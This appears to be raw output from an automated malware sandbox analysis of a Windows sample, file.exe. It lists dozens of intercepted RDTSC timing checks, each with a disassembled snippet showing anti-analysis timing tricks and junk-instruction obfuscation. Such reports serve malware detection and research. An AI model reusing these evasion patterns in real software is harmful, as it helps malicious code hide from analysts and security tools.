Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4627D second address: A4628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4465131BC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4628C second address: A46290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1383B second address: A1383F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A471F6 second address: A471FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A471FC second address: A47200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47200 second address: A47206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47206 second address: A47211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F4465131BC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47211 second address: A47217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FA36 second address: 9F8331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007F4465131BC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F4465131BC8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub ecx, 0D2EC659h 0x00000031 lea eax, dword ptr [ebp+12483776h] 0x00000037 mov edi, dword ptr [ebp+122D205Bh] 0x0000003d nop 0x0000003e push edx 0x0000003f push eax 0x00000040 push eax 0x00000041 pop eax 0x00000042 pop eax 0x00000043 pop edx 0x00000044 push eax 0x00000045 jmp 00007F4465131BD4h 0x0000004a nop 0x0000004b and edx, 5AFFDC8Dh 0x00000051 call dword ptr [ebp+122D1FAEh] 0x00000057 pushad 0x00000058 jmp 00007F4465131BCBh 0x0000005d jmp 00007F4465131BD6h 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 jnl 00007F4465131BC6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FB74 second address: A0FB7E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44646ECA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1040D second address: A10413 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A108C9 second address: A108CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10AF9 second address: A10B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 nop 0x00000009 push esi 0x0000000a sbb di, 418Bh 0x0000000f pop ecx 0x00000010 lea eax, dword ptr [ebp+124837BAh] 0x00000016 pushad 0x00000017 mov ebx, 56D99105h 0x0000001c mov ecx, 20A8614Eh 0x00000021 popad 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pushad 0x00000027 popad 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10B22 second address: A10B53 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F44646ECA58h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F44646ECA4Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10B53 second address: A10BAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d popad 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+122D2586h] 0x00000015 push esi 0x00000016 stc 0x00000017 pop ecx 0x00000018 lea eax, dword ptr [ebp+12483776h] 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F4465131BC8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 mov edx, dword ptr [ebp+122D2521h] 0x0000003e and cx, 42CFh 0x00000043 nop 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10BAE second address: 9F8E18 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44646ECA4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F44646ECA4Dh 0x00000010 nop 0x00000011 mov edx, 42523BD1h 0x00000016 call dword ptr [ebp+1244E8ADh] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jnc 00007F44646ECA46h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8E18 second address: 9F8E22 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8E22 second address: 9F8E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8E27 second address: 9F8E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4465131BC6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4465131BD0h 0x00000014 push ecx 0x00000015 jmp 00007F4465131BD8h 0x0000001a pushad 0x0000001b popad 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B439 second address: A4B456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F44646ECA57h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B456 second address: A4B478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F4465131BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jp 00007F4465131BE0h 0x00000013 pushad 0x00000014 jo 00007F4465131BC6h 0x0000001a jne 00007F4465131BC6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B478 second address: A4B47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B5C5 second address: A4B5D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4465131BC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA17 second address: A4BA30 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44646ECA4Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA30 second address: A4BA36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA36 second address: A4BA3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1A34 second address: 9D1A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51882 second address: A518D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jng 00007F44646ECA46h 0x0000000b ja 00007F44646ECA46h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 js 00007F44646ECA46h 0x0000001c pop eax 0x0000001d jmp 00007F44646ECA4Dh 0x00000022 pushad 0x00000023 jnl 00007F44646ECA46h 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jl 00007F44646ECA46h 0x00000034 jmp 00007F44646ECA56h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A518D4 second address: A518D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BC4 second address: A51BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a jo 00007F44646ECA46h 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F44646ECA4Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BE0 second address: A51BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D71 second address: A51D88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D88 second address: A51D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4465131BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D92 second address: A51D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D96 second address: A51D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D9C second address: A51DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5204D second address: A52060 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4465131BCEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A521B6 second address: A521BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A521BC second address: A521C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567D3 second address: A567D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567D7 second address: A567F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4465131BD5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567F4 second address: A567FE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCA40 second address: 9CCA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCA44 second address: 9CCA51 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59888 second address: A598A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5924D second address: A59251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59535 second address: A5953B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5953B second address: A59558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59558 second address: A5958B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4465131BCEh 0x0000000f jnc 00007F4465131BC6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5958B second address: A59591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59591 second address: A595B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jp 00007F4465131BC8h 0x0000000e jmp 00007F4465131BCCh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BCA7 second address: A5BCC1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F44646ECA46h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jl 00007F44646ECA4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BCC1 second address: A5BCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BCC5 second address: A5BCCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B9F8 second address: A5BA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A607F2 second address: A60810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F44646ECA6Eh 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FB59 second address: A5FB76 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F4465131BD3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FB76 second address: A5FB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F44646ECA46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FB81 second address: A5FB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FD30 second address: A5FD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FD34 second address: A5FD42 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60055 second address: A60059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60059 second address: A60063 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE494 second address: 9CE498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE498 second address: 9CE4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F4465131BCCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4AE second address: 9CE4B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4B6 second address: 9CE4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4465131BC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4C2 second address: 9CE4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A687DF second address: A68810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD1h 0x00000007 jmp 00007F4465131BD3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F4465131BC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670B6 second address: A670BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670BC second address: A670C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670C0 second address: A670EA instructions: 0x00000000 rdtsc 0x00000002 je 00007F44646ECA46h 0x00000008 jmp 00007F44646ECA52h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F44646ECA46h 0x00000017 jne 00007F44646ECA46h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670EA second address: A670EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670EE second address: A670F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A674D4 second address: A674DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10580 second address: A105F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, 0D17h 0x00000010 mov ebx, dword ptr [ebp+124837B5h] 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F44646ECA48h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D1D5Ch], eax 0x00000036 add eax, ebx 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F44646ECA48h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D1D87h] 0x00000058 nop 0x00000059 jp 00007F44646ECA50h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 pop eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67AF0 second address: A67AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67AF8 second address: A67AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A684F5 second address: A6850A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4465131BCCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AE8E second address: A6AE9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B1AF second address: A6B1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B1B3 second address: A6B1B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B1B7 second address: A6B1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B489 second address: A6B48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B48F second address: A6B4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B4A1 second address: A6B4A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B4A5 second address: A6B4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73903 second address: A73907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73907 second address: A7390D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71976 second address: A7197C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71AF3 second address: A71AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71C68 second address: A71C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71C6E second address: A71C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7225B second address: A7225F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72D95 second address: A72D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
